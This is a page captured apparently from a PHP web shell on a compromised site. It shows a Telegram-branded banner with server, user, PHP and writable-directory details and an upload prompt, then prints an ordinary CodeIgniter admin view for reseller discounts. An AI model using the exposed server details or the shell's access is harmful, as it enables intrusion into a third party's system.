https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/angkasapuraretail.com/public_html/application/views/admin/resellers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/angkasapuraretail.com/public_html/application/views/admin/resellers/reseller_discount.php
<div class="row">
    <div class="col-sm-12">
         <p><a href="<?= base_url('admin/resellers'); ?>"><i class="fa fa-arrow-left" aria-hidden="true"></i> Back to Reseller List</a></p>
        <h2>Resellers "<?= $reseller_name;?>" Discount Administration</h2>
        <?= $this->session->flashdata('success'); //to display success message ?> 
    </div><!-- end class="col-sm-12" --> 
</div> <!-- end row --> 

<div class="row">
    <div class="col-sm-12">
        <a data-toggle="modal" data-target="#add_new_discount" style="cursor: pointer;"><i class="fa fa-plus" aria-hidden="true"></i> ADD A NEW DISCOUNT RESELLERS</a>
    </div><!-- end class="col-sm-12" -->
</div> <!-- end row -->  

<?php if (count($reseller_discounts) != null): ?>
    <?php foreach ($reseller_discounts as $reseller_discount): ?>
        <div class="row">
            <div class="col-sm-12" style="background-color: #f0eaea;">
                <h4>
                    <?php 
                        $category_name = $this->db->select('category')->from('categories')->where('id_categories',$reseller_discount->category_id)->get()->row();
                        if($category_name != null){
                            echo ucfirst($category_name->category);
                        }
                    ?>
                </h4>
            </div>
            <div class="col-sm-12" style="padding-left: 25px;">
                <?php
                    $sort_by_brands = $this->db->distinct()->select('brand_id')->from('resellers_discount')->where('category_id',$reseller_discount->category_id)->where('reseller_id',$reseller_id)->get()->result();
                    foreach ($sort_by_brands as $sort_by_brand):
                ?>
                    <div class="row">
                        <div class="col-sm-12">
                            <h4>
                                <?php 
                                    $brand_name = $this->db->select('brand')->from('brands')->where('id_brands',$sort_by_brand->brand_id)->get()->row();
                                    if($brand_name != null){
                                        echo ucfirst($brand_name->brand);
                                    }
                                ?>
                            </h4>
                        </div>
                        <div class="col-sm-12">
                            <table class="table table-striped"> 
                                <thead>
                                    <tr>
                                        <th>Pembelian</th>
                                        <th>Discount</th>
                                        <th>Action</th>
                                    </tr>
                                </thead>
                                <tbody>
                                    <?php
                                        $discounts = $this->db->select('*')->from('resellers_discount')->where('reseller_id',$reseller_id)->where('category_id',$reseller_discount->category_id)->where('brand_id',$sort_by_brand->brand_id)->order_by('pembelian_min','ASC')->get()->result();
                                        if (count($discounts) != null):
                                    ?>
                                        <?php foreach ($discounts as $discount): ?>
                                            <tr>
                                                <td><?= 'Rp. '.number_format($discount->pembelian_min).' - Rp. '.number_format($discount->pembelian_max); ?></td>
                                                <td><?= $discount->persentase_level1.'% + '.$discount->persentase_level2.'%'; ?></td>
                                                <td>
                                                    <a data-toggle="modal" data-target="#<?= $discount->id;?>" style="cursor: pointer;"><i class="fa fa-edit"></i></a>
                                                    <!-- Modal Add Discount -->
                                                    <div class="modal fade" id="<?= $discount->id;?>" role="dialog">
                                                        <div class="modal-dialog">
                                                            <!-- Modal content-->
                                                            <div class="modal-content">
                                                                <div class="modal-header">
                                                                    <button type="button" class="close" data-dismiss="modal">&times;</button>
                                                                    <h4 class="modal-title">Edit Discount</h4>
                                                                </div>
                                                                <div class="modal-body">
                                                                    <?= form_open('admin/resellers/edit_reseller_discount/'.$discount->id.'/'.$reseller_id);?>
                                                                        <div class="row">
                                                                            <div class="col-sm-3">
                                                                                <p>Pembelian Minimum</p>
                                                                            </div>
                                                                            <div class="col-sm-9">
                                                                                <p>
                                                                                    <?php
                                                                                        $data = array(
                                                                                            'name'  => 'pembelian_min',
                                                                                            'value' => $discount->pembelian_min,
                                                                                            'class' => 'form-control'
                                                                                         );
                                                                                        echo form_input($data); 
                                                                                    ?>
                                                                                    <?= form_error('pembelian_min'); ?>
                                                                                </p>
                                                                            </div>
                                                                        </div>
                                                                        <div class="row">
                                                                            <div class="col-sm-3">
                                                                                <p>Pembelian Maksimum</p>
                                                                            </div>
                                                                            <div class="col-sm-9">
                                                                                <p>
                                                                                    <?php
                                                                                        $data = array(
                                                                                            'name'  => 'pembelian_max',
                                                                                            'value' => $discount->pembelian_max,
                                                                                            'class' => 'form-control'
                                                                                         );
                                                                                        echo form_input($data); 
                                                                                    ?>
                                                                                    <?= form_error('pembelian_max'); ?>
                                                                                </p>
                                                                            </div>
                                                                        </div>
                                                                        <div class="row">
                                                                            <div class="col-sm-3">
                                                                                <p>Discount Level1</p>
                                                                            </div>
                                                                            <div class="col-sm-9">
                                                                                <p>
                                                                                    <?php
                                                                                        $data = array(
                                                                                            'name'  => 'persentase_level1',
                                                                                            'value' => $discount->persentase_level1,
                                                                                            'class' => 'form-control'
                                                                                         );
                                                                                        echo form_input($data); 
                                                                                    ?>
                                                                                    <?= form_error('persentase_level1'); ?>
                                                                                </p>
                                                                            </div>
                                                                        </div>
                                                                        <div class="row">
                                                                            <div class="col-sm-3">
                                                                                <p>Discount Level2</p>
                                                                            </div>
                                                                            <div class="col-sm-9">
                                                                                <p>
                                                                                    <?php
                                                                                        $data = array(
                                                                                            'name'  => 'persentase_level2',
                                                                                            'value' => $discount->persentase_level2,
                                                                                            'class' => 'form-control'
                                                                                         );
                                                                                        echo form_input($data); 
                                                                                    ?>
                                                                                    <?= form_error('persentase_level2'); ?>
                                                                                </p>
                                                                            </div>
                                                                        </div>
                                                                        <div class="row">
                                                                            <div class="col-sm-3">
                                                                            </div>
                                                                            <div class="col-sm-9">
                                                                                <?= form_submit('submit', 'Edit Discount', 'class="btn btn-primary btn-success"'); ?>
                                                                            </div>
                                                                        </div>
                                                                    <?= form_close();?>
                                                                </div>
                                                            </div>
                                                        </div>
                                                    </div>
                                                    &nbsp;&nbsp;<?= bt_delete('admin/resellers/delete_reseller_discount/'.$discount->id.'/'.$reseller_id); ?>
                                                </td>
                                            </tr>
                                        <?php endforeach ?>
                                    <?php endif; ?>
                                </tbody> 
                            </table>
                        </div>
                    </div>
                <?php endforeach; ?>
            </div>
        </div>
    <?php endforeach ?>
<?php else: ?>
    <div class="row">
        <div class="col-sm-12" style="text-align: center;">
            <h4>Not Found Discount for this Reseller</h4>
        </div>
    </div>
<?php endif ?>

<!-- Modal Add Discount -->
<div class="modal fade" id="add_new_discount" role="dialog">
    <div class="modal-dialog">
        <!-- Modal content-->
        <div class="modal-content">
            <div class="modal-header">
                <button type="button" class="close" data-dismiss="modal">&times;</button>
                <h4 class="modal-title">ADD NEW DISCOUNT</h4>
            </div>
            <div class="modal-body">
                <?= form_open();?>
                    <div class="row">
                        <div class="col-sm-3">
                            <p>Brand</p>
                        </div>
                        <div class="col-sm-9">
                            <select name="brand_id" class="form-control">
                                <?php foreach ($brands as $brand):?>
                                    <option value="<?= $brand->id_brands?>"><?= ucfirst($brand->brand);?></option>
                                <?php endforeach; ?>
                            </select>
                        </div>
                    </div>
                    <div class="row">
                        <div class="col-sm-3">
                            <p>Category</p>
                        </div>
                        <div class="col-sm-9">
                            <select name="category_id" class="form-control">
                                <?php foreach ($categories as $category):?>
                                    <option value="<?= $category->id_categories?>"><?= ucfirst($category->category);?></option>
                                <?php endforeach; ?>
                            </select>
                        </div>
                    </div>
                    <div class="row">
                        <div class="col-sm-3">
                            <p>Pembelian Minimum</p>
                        </div>
                        <div class="col-sm-9">
                            <p>
                                <?php
                                    $data = array(
                                        'name'  => 'pembelian_min',
                                        'class' => 'form-control'
                                     );
                                    echo form_input($data); 
                                ?>
                                <?= form_error('pembelian_min'); ?>
                            </p>
                        </div>
                    </div>
                    <div class="row">
                        <div class="col-sm-3">
                            <p>Pembelian Maksimum</p>
                        </div>
                        <div class="col-sm-9">
                            <p>
                                <?php
                                    $data = array(
                                        'name'  => 'pembelian_max',
                                        'class' => 'form-control'
                                     );
                                    echo form_input($data); 
                                ?>
                                <?= form_error('pembelian_max'); ?>
                            </p>
                        </div>
                    </div>
                    <div class="row">
                        <div class="col-sm-3">
                            <p>Discount Level1</p>
                        </div>
                        <div class="col-sm-9">
                            <p>
                                <?php
                                    $data = array(
                                        'name'  => 'persentase_level1',
                                        'class' => 'form-control'
                                     );
                                    echo form_input($data); 
                                ?>
                                <?= form_error('persentase_level1'); ?>
                            </p>
                        </div>
                    </div>
                    <div class="row">
                        <div class="col-sm-3">
                            <p>Discount Level2</p>
                        </div>
                        <div class="col-sm-9">
                            <p>
                                <?php
                                    $data = array(
                                        'name'  => 'persentase_level2',
                                        'class' => 'form-control'
                                     );
                                    echo form_input($data); 
                                ?>
                                <?= form_error('persentase_level2'); ?>
                            </p>
                        </div>
                    </div>
                    <div class="row">
                        <div class="col-sm-3">
                        </div>
                        <div class="col-sm-9">
                            <?= form_submit('submit', 'Add Discount', 'class="btn btn-primary btn-success"'); ?>
                        </div>
                    </div>
                <?= form_close();?>
            </div>
        </div>
    </div>
</div>






























<!-- <div class="row">
    <div class="col-sm-12">
        <table class="table table-striped"> 
            <thead>
                <tr>
                    <th>Reseller Type</th>
                    <th>Edit Info</th>
                    <th>Edit Discount</th>
                    <th>Delete</th>
                </tr>
            </thead>
            <tbody>
                <?php if(count($reseller_discounts)) : ?> 
                    <?php foreach($reseller_discounts as $reseller): ?>
                        <tr>
                            <td><?= ucfirst($reseller->reseller_name); ?></td>
                            <td><?= bt_edit('admin/resellers/edit/' . $reseller->id_resellers); ?></td>
                            <td><?= bt_edit('admin/resellers/reseller_discount/' . $reseller->id_resellers); ?></td>
                            <td><?= bt_delete('admin/resellers/delete/' . $reseller->id_resellers); ?></td>
                        </tr>
                    <?php endforeach; ?>
                <?php else: ?>
                    <tr>
                        <td colspan="4">We could not find any reseller.</td>
                    </tr>
                <?php endif; ?>
            </tbody> 
        </table>
    </div>
</div> -->

https://t.me/RX1948 - 2025